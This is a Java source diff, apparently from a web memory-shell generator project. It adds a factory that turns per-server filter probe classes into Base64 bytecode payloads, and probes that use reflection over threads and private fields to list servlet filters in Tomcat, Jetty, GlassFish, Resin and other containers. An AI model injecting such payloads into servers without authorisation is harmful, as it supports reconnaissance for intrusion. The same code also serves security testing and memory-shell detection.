                 return CommandProbe.class;
             case Bytecode:
+            case Filter:
                 return ByteCodeProbe.class;
             case ScriptEngine:
                 return ScriptEngineProbe.class;
@@ -138,7 +142,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
                 }
                 ret = p;
             } catch (Exception e) {
-                Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8);
+                Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
+                Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
                 String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
                 if (p == null || p.isEmpty()) {
                     Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);

generator/src/main/java/com/reajason/javaweb/probe/payload/FilterProbeFactory.java

@@ -0,0 +1,54 @@
+package com.reajason.javaweb.probe.payload;
+
+import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.Server;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.probe.payload.filter.*;
+import com.reajason.javaweb.utils.CommonUtil;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+import org.apache.commons.codec.binary.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2026/1/11
+ */
+public class FilterProbeFactory {
+
+    public static String getBase64ByServer(String server) {
+        try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
+                .redefine(getFilterClass(server))
+                .visit(TargetJreVersionVisitorWrapper.DEFAULT)
+                .name(CommonUtil.generateClassName()).make()) {
+            return Base64.encodeBase64String(unloaded.getBytes());
+        }
+    }
+
+
+    private static Class<?> getFilterClass(String server) {
+        switch (server) {
+            case Server.Tomcat:
+            case Server.JBoss:
+            case Server.BES:
+            case Server.TongWeb:
+                return TomcatFilterProbe.class;
+            case Server.Jetty:
+                return JettyFilterProbe.class;
+            case Server.Apusic:
+                return ApusicFilterProbe.class;
+            case Server.GlassFish:
+            case Server.InforSuite:
+                return GlassFishFilterProbe.class;
+            case Server.WebSphere:
+                return WebSphereFilterProbe.class;
+            case Server.WebLogic:
+                return WebLogicFilterProbe.class;
+            case Server.Undertow:
+                return UndertowFilterProbe.class;
+            case Server.Resin:
+                return ResinFilterProbe.class;
+            default:
+                throw new GenerationException("filterProbe not supported for server: " + server);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java

@@ -9,7 +9,6 @@ import java.util.Set;
 /**
  * HTTP 服务类型识别，主要识别 Servlet 容器实现，例如 WildFly 识别为 Undertow，Payara 识别为 GlassFish
  * 很多国产中间件都是基于 GlassFish 改的，都会识别为 GlassFish
- * <br/>
  * 额外需要注意：
  * 1. 不会识别 SpringWebMVC Struct2 这种框架，只识别其提供 HTTP 服务的 Servlet 容器类型
  * 2. 识别的顺序很重要，部分类型的识别单独拿出来是不准确的，没有测试的情况下，不要以下的 if 判断顺序
@@ -51,7 +50,8 @@ public class ServerProbe {
         if (System.getProperty("weblogic.home") != null) {
             return ret = "WebLogic";
         }
-        if (System.getProperty("was.install.root") != null) {
+        if (System.getProperty("was.install.root") != null
+                || System.getProperty("wlp.install.dir") != null) {
             return ret = "WebSphere";
         }
         if (System.getProperty("resin.home") != null) {

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ApusicFilterProbe.java

@@ -0,0 +1,205 @@
+package com.reajason.javaweb.probe.payload.filter;
+
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ */
+public class ApusicFilterProbe {
+
+    @Override
+    @SuppressWarnings("Duplicates")
+    public String toString() {
+        StringBuilder msg = new StringBuilder();
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg.append("context error: ").append(getErrorMessage(throwable));
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg.append("context not found\n");
+        } else {
+            Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
+            for (Object context : contexts) {
+                String contextRoot = getContextRoot(context);
+                try {
+                    List<Map<String, String>> filters = collectFiltersData(context);
+                    allFiltersData.put(contextRoot, filters);
+                } catch (Throwable e) {
+                    msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
+                }
+            }
+            msg.append(formatFiltersData(allFiltersData));
+        }
+        return msg.toString();
+    }
+
+    @SuppressWarnings({"unchecked", "Duplicates"})
+    private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
+        // context -> com.apusic.web.container.WebContainer
+        Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
+        // webModule -> com.apusic.deploy.runtime.WebModule
+        Object webModule = getFieldValue(context, "webapp");
+        Object[] filterMappings = (Object[]) invokeMethod(webModule, "getAllFilterMappings");
+        for (Object fm : filterMappings) {
+            // fm -> com.apusic.deploy.runtime.FilterMapping
+            String name = (String) invokeMethod(fm, "getFilterName");
+            if (!aggregatedData.containsKey(name)) {
+                Map<String, Object> info = new HashMap<>();
+                Object filterModel = invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{name});
+                info.put("filterName", name);
+                info.put("filterClass", invokeMethod(filterModel, "getFilterClass"));
+                info.put("urlPatterns", new LinkedHashSet<String>());
+                info.put("servletNames", new LinkedHashSet<String>());
+                aggregatedData.put(name, info);
+            }
+            Map<String, Object> info = aggregatedData.get(name);
+            String urlPattern = (String) invokeMethod(fm, "getUrlPattern");
+            if (urlPattern != null && !urlPattern.isEmpty()) ((Set<String>) info.get("urlPatterns")).add(urlPattern);
+            String servletName = (String) invokeMethod(fm, "getServletName");
+            if (servletName != null && !servletName.isEmpty()) ((Set<String>) info.get("servletNames")).add(servletName);
+        }
+        List<Map<String, String>> result = new ArrayList<>();
+        for (Map<String, Object> entry : aggregatedData.values()) {
+            Map<String, String> finalInfo = new HashMap<>();
+            finalInfo.put("filterName", (String) entry.get("filterName"));
+            finalInfo.put("filterClass", (String) entry.get("filterClass"));
+            Set<?> urls = (Set<?>) entry.get("urlPatterns");
+            finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
+            Set<?> servletNames = (Set<?>) entry.get("servletNames");
+            finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
+            result.add(finalInfo);
+        }
+        return result;
+    }
+
+    @SuppressWarnings("all")
+    private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
+        StringBuilder output = new StringBuilder();
+        for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
+            String context = entry.getKey();
+            List<Map<String, String>> filters = entry.getValue();
+            output.append("Context: ").append(context).append("\n");
+            if (filters.isEmpty()) {
+                output.append("No filters found\n");
+            } else {
+                for (Map<String, String> info : filters) {
+                    appendIfPresent(output, "", info.get("filterName"));
+                    appendIfPresent(output, " -> ", info.get("filterClass"));
+                    appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
+                    appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
+                    output.append("\n");
+                }
+            }
+        }
+        return output.toString();
+    }
+
+    private void appendIfPresent(StringBuilder sb, String prefix, String value) {
+        if (value != null && !value.isEmpty()) {
+            sb.append(prefix).append(value);
+        }
+    }
+
+    @SuppressWarnings("Duplicates")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(context, "getContextPath");
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    /**
+     * context: com.apusic.web.container.WebContainer
+     * context - webapp: com.apusic.deploy.runtime.WebModule
+     * /usr/local/ass/lib/apusic.jar
+     */
+    @SuppressWarnings("Duplicates")
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("HouseKeeper")) {
+                // Apusic 9.0 SPX
+                Object sessionManager = getFieldValue(thread, "this$0");
+                contexts.add(getFieldValue(sessionManager, "container"));
+            } else if (thread.getName().contains("HTTPSession")) {
+                // Apusic 9.0.1
+                Object sessionManager = getFieldValue(thread, "this$0");
+                Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
+                contexts.addAll(contextMap.values());
+            }
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
+    }
+
+    public static Object invokeMethod(Object obj, String methodName) throws Exception {
+        return invokeMethod(obj, methodName, null, null);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java

@@ -0,0 +1,224 @@
+package com.reajason.javaweb.probe.payload.filter;
+
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ */
+public class GlassFishFilterProbe {
+
+    @Override
+    public String toString() {
+        StringBuilder msg = new StringBuilder();
+        Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg.append("context error: ").append(getErrorMessage(throwable));
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg.append("context not found\n");
+        } else {
+            for (Object context : contexts) {
+                String contextRoot = getContextRoot(context);
+                try {
+                    List<Map<String, String>> filters = collectFiltersData(context);
+                    allFiltersData.put(contextRoot, filters);
+                } catch (Throwable e) {
+                    msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
+                }
+            }
+            msg.append(formatFiltersData(allFiltersData));
+        }
+        return msg.toString();
+    }
+
+    @SuppressWarnings({"unchecked", "Duplicates"})
+    private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
+        // context -> org.apache.catalina.core.StandardContext
+        Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
+
+        List<Object> filterMaps = (List<Object>) invokeMethod(context, "findFilterMaps");
+        for (Object fm : filterMaps) {
+            // fm -> org.apache.catalina.deploy.FilterMap
+            String name = (String) invokeMethod(fm, "getFilterName");
+            if (!aggregatedData.containsKey(name)) {
+                // filterDef -> org.apache.catalina.deploy.FilterDef
+                Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name});
+                String filterClass = (String) invokeMethod(filterDef, "getFilterClassName");
+                if (filterClass == null) {
+                    // filterConfig -> org.apache.catalina.core.ApplicationFilterConfig
+                    Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
+                    Object filter = invokeMethod(filterConfig, "getFilter");
+                    if (filter != null) filterClass = filter.getClass().getName();
+                }
+                Map<String, Object> info = new HashMap<>();
+                info.put("filterName", name);
+                info.put("filterClass", filterClass);
+                info.put("urlPatterns", new LinkedHashSet<String>());
+                info.put("servletNames", new LinkedHashSet<String>());
+                aggregatedData.put(name, info);
+            }
+            Map<String, Object> info = aggregatedData.get(name);
+            String[] urls = null;
+            try {
+                urls = (String[]) invokeMethod(fm, "getURLPatterns");
+            } catch (Exception e) {
+                // Tomcat 5
+                String urlPattern = (String) invokeMethod(fm, "getURLPattern");
+                if (urlPattern != null) urls = new String[]{urlPattern};
+            }
+            if (urls != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urls));
+            String[] servletNames = null;
+            try {
+                servletNames = (String[]) invokeMethod(fm, "getServletNames");
+            } catch (Exception e) {
+                // Tomcat 5
+                String servletName = (String) invokeMethod(fm, "getServletName");
+                if (servletName != null) servletNames = new String[]{servletName};
+            }
+            if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
+        }
+        List<Map<String, String>> result = new ArrayList<>();
+        for (Map<String, Object> entry : aggregatedData.values()) {
+            Map<String, String> finalInfo = new HashMap<>();
+            finalInfo.put("filterName", (String) entry.get("filterName"));
+            finalInfo.put("filterClass", (String) entry.get("filterClass"));
+            Set<?> urls = (Set<?>) entry.get("urlPatterns");
+            finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
+            Set<?> servletNames = (Set<?>) entry.get("servletNames");
+            finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
+            result.add(finalInfo);
+        }
+        return result;
+    }
+
+
+    @SuppressWarnings("all")
+    private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
+        StringBuilder output = new StringBuilder();
+        for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
+            String context = entry.getKey();
+            List<Map<String, String>> filters = entry.getValue();
+            output.append("Context: ").append(context).append("\n");
+            if (filters.isEmpty()) {
+                output.append("No filters found\n");
+            } else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
+                output.append(filters.get(0).get("error")).append("\n");
+            } else {
+                for (Map<String, String> info : filters) {
+                    appendIfPresent(output, "", info.get("filterName"));
+                    appendIfPresent(output, " -> ", info.get("filterClass"));
+                    appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
+                    appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
+                    output.append("\n");
+                }
+            }
+        }
+        return output.toString();
+    }
+
+    private void appendIfPresent(StringBuilder sb, String prefix, String value) {
+        if (value != null && !value.isEmpty()) {
+            sb.append(prefix).append(value);
+        }
+    }
+
+    @SuppressWarnings("Duplicates")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath");
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    /**
+     * com.sun.enterprise.web.WebModule
+     * /xxx/modules/web-glue.jar
+     */
+    @SuppressWarnings("Duplicates")
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            }
+        }
+        return contexts;
+    }
+
+    public static Object invokeMethod(Object obj, String methodName) throws Exception {
+        return invokeMethod(obj, methodName, null, null);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/JettyFilterProbe.java

@@ -0,0 +1,253 @@
+package com.reajason.javaweb.probe.payload.filter;
+
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ */
+public class JettyFilterProbe {
+
+    @Override
+    @SuppressWarnings("Duplicates")
+    public String toString() {
+        StringBuilder msg = new StringBuilder();
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg.append("context error: ").append(getErrorMessage(throwable));
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg.append("context not found\n");
+        } else {
+            Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
+            for (Object context : contexts) {
+                String contextRoot = getContextRoot(context);
+                try {
+                    List<Map<String, String>> filters = collectFiltersData(context);
+                    allFiltersData.put(contextRoot, filters);
+                } catch (Throwable e) {
+                    msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
+                }
+            }
+            msg.append(formatFiltersData(allFiltersData));
+        }
+        return msg.toString();
+    }
+
+    /**
+     * jetty6 -> org.mortbay.jetty.webapp.WebAppContext
+     * jetty7+ -> org.eclipse.jetty.webapp.WebAppContext
+     * org.eclipse.jetty.ee8.webapp.WebAppContext
+     * org.eclipse.jetty.ee9.webapp.WebAppContext
+     * org.eclipse.jetty.ee10.webapp.WebAppContext
+     * org.eclipse.jetty.ee11.webapp.WebAppContext
+     */
+    @SuppressWarnings("unchecked")
+    private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
+        Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
+
+        // servletHandler -> org.mortbay.jetty.servlet.ServletHandler(jetty 6)
+        // servletHandler -> org.eclipse.jetty.servlet.ServletHandler(jetty 7+)
+        Object servletHandler = getFieldValue(context, "_servletHandler");
+
+        Object[] filterMappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
+        if (filterMappings == null || filterMappings.length == 0) return Collections.emptyList();
+
+        Object[] filterHolders = (Object[]) invokeMethod(servletHandler, "getFilters");
+
+        for (Object mapping : filterMappings) {
+            // mapping -> org.mortbay.jetty.servlet.FilterMapping(jetty 6)
+            // mapping -> org.eclipse.jetty.servlet.FilterMapping(jetty 7+)
+            String name = (String) invokeMethod(mapping, "getFilterName");
+            if (!aggregatedData.containsKey(name)) {
+                String filterClass = "N/A";
+                if (filterHolders != null) {
+                    for (Object holder : filterHolders) {
+                        // hodler -> org.mortbay.jetty.servlet.FilterHolder(jetty 6)
+                        // hodler -> org.eclipse.jetty.servlet.FilterHolder(jetty 7+)
+                        String holderName = (String) invokeMethod(holder, "getName");
+                        if (!name.equals(holderName)) continue;
+                        String cls = (String) invokeMethod(holder, "getClassName");
+                        if (cls == null) {
+                            Object filterInstance = invokeMethod(holder, "getFilter");
+                            if (filterInstance != null) {
+                                cls = filterInstance.getClass().getName();
+                            }
+                        }
+                        if (cls != null) filterClass = cls;
+                        break;
+                    }
+                }
+                Map<String, Object> info = new HashMap<>();
+                info.put("filterName", name);
+                info.put("filterClass", filterClass);
+                info.put("urlPatterns", new LinkedHashSet<String>());
+                info.put("servletNames", new LinkedHashSet<String>());
+                aggregatedData.put(name, info);
+            }
+
+            Map<String, Object> info = aggregatedData.get(name);
+
+            String[] pathSpecs = (String[]) invokeMethod(mapping, "getPathSpecs");
+            if (pathSpecs != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(pathSpecs));
+
+            String[] servletNames = (String[]) invokeMethod(mapping, "getServletNames");
+            if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
+        }
+
+        List<Map<String, String>> result = new ArrayList<>();
+        for (Map<String, Object> entry : aggregatedData.values()) {
+            Map<String, String> finalInfo = new HashMap<>();
+            finalInfo.put("filterName", (String) entry.get("filterName"));
+            finalInfo.put("filterClass", (String) entry.get("filterClass"));
+            Set<?> urls = (Set<?>) entry.get("urlPatterns");
+            finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
+            Set<?> servletNames = (Set<?>) entry.get("servletNames");
+            finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
+            result.add(finalInfo);
+        }
+        return result;
+    }
+
+    @SuppressWarnings("all")
+    private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
+        StringBuilder output = new StringBuilder();
+        for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
+            String context = entry.getKey();
+            List<Map<String, String>> filters = entry.getValue();
+            output.append("Context: ").append(context).append("\n");
+            if (filters.isEmpty()) {
+                output.append("No filters found\n");
+            } else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
+                output.append(filters.get(0).get("error")).append("\n");
+            } else {
+                for (Map<String, String> info : filters) {
+                    appendIfPresent(output, "", info.get("filterName"));
+                    appendIfPresent(output, " -> ", info.get("filterClass"));
+                    appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
+                    appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
+                    output.append("\n");
+                }
+            }
+        }
+        return output.toString();
+    }
+
+    private void appendIfPresent(StringBuilder sb, String prefix, String value) {
+        if (value != null && !value.isEmpty()) {
+            sb.append(prefix).append(value);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(context, "getContextPath");
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                // jetty 6
+                Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
+                if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
+                    contexts.add(getFieldValue(contextClassLoader, "_context"));
+                } else {
+                    // jetty 7+
+                    Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
+                    for (int i = 0; i < Array.getLength(table); i++) {
+                        Object entry = Array.get(table, i);
+                        if (entry != null) {
+                            Object threadLocalValue = getFieldValue(entry, "value");
+                            if (threadLocalValue != null) {
+                                if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
+                                    contexts.add(getFieldValue(threadLocalValue, "this$0"));
+                                }
+                            }
+                        }
+                    }
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName) {
+        Class<?>[] paramClazz = null;
+        Object[] param = null;
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/ResinFilterProbe.java

@@ -0,0 +1,234 @@
+package com.reajason.javaweb.probe.payload.filter;
+
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ */
+public class ResinFilterProbe {
+
+    @Override
+    @SuppressWarnings("Duplicates")
+    public String toString() {
+        StringBuilder msg = new StringBuilder();
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg.append("context error: ").append(getErrorMessage(throwable));
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg.append("context not found\n");
+        } else {
+            Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
+            for (Object context : contexts) {
+                String contextRoot = getContextRoot(context);
+                try {
+                    List<Map<String, String>> filters = collectFiltersData(context);
+                    allFiltersData.put(contextRoot, filters);
+                } catch (Throwable e) {
+                    msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
+                }
+            }
+            msg.append(formatFiltersData(allFiltersData));
+        }
+        return msg.toString();
+    }
+
+    @SuppressWarnings("unchecked")
+    private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
+        // context -> com.caucho.server.webapp.Application
+        Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
+        // filterMapper -> com.caucho.server.dispatch.FilterMapper
+        Object filterMapper = getFieldValue(context, "_filterMapper");
+        // filterManager -> com.caucho.server.dispatch.FilterManager
+        Object filterManager = getFieldValue(context, "_filterManager");
+        if (filterMapper == null) return Collections.emptyList();
+        ArrayList<Object> filterMappings = (ArrayList<Object>) getFieldValue(filterMapper, "_filterMap");
+        for (Object filterMapping : filterMappings) {
+            // filterMapping -> com.caucho.server.dispatch.FilterMapping
+            String filterName = (String) invokeMethod(filterMapping, "getFilterName", null, null);
+            if (!aggregatedData.containsKey(filterName)) {
+                Map<String, Object> info = new HashMap<>();
+                info.put("filterName", filterName);
+                String filterClassName = (String) invokeMethod(filterMapping, "getFilterClassName", null, null);
+                if (filterClassName == null) {
+                    Class<?> filterClass = (Class<?>) invokeMethod(filterMapping, "getFilterClass", null, null);
+                    if (filterClass != null) {
+                        filterClassName = filterClass.getName();
+                    } else {
+                        Object filter = ((Map<String, Object>) getFieldValue(filterManager, "_instances")).get(filterName);
+                        if (filter != null) {
+                            filterClassName = filter.getClass().getName();
+                        }
+                    }
+                }
+                info.put("filterClass", filterClassName != null ? filterClassName : "N/A");
+                info.put("urlPatterns", new LinkedHashSet<String>());
+                info.put("servletNames", new LinkedHashSet<String>());
+                aggregatedData.put(filterName, info);
+            }
+            Map<String, Object> info = aggregatedData.get(filterName);
+            List<String> urlPatterns = new ArrayList<>();
+            String urlPattern = (String) invokeMethod(filterMapping, "getURLPattern", null, null);
+            if (urlPattern == null || urlPattern.isEmpty()) {
+                List<Object> matchList = (List<Object>) getFieldValue(filterMapping, "_matchList");
+                if (matchList != null && !matchList.isEmpty()) {
+                    for (Object match : matchList) {
+                        if (((Integer) getFieldValue(match, "_value")) == 1) {
+                            urlPatterns.add(getFieldValue(match, "_regex").toString());
+                        }
+                    }
+                }
+            } else {
+                urlPatterns.add(urlPattern);
+            }
+            if (!urlPatterns.isEmpty()) {
+                ((Set<String>) info.get("urlPatterns")).addAll(urlPatterns);
+            }
+            List<String> servletNames = (List<String>) getFieldValue(filterMapping, "_servletNames");
+            if (servletNames != null && !servletNames.isEmpty()) {
+                ((Set<String>) info.get("servletNames")).addAll(servletNames);
+            }
+        }
+        List<Map<String, String>> result = new ArrayList<>();
+        for (Map<String, Object> entry : aggregatedData.values()) {
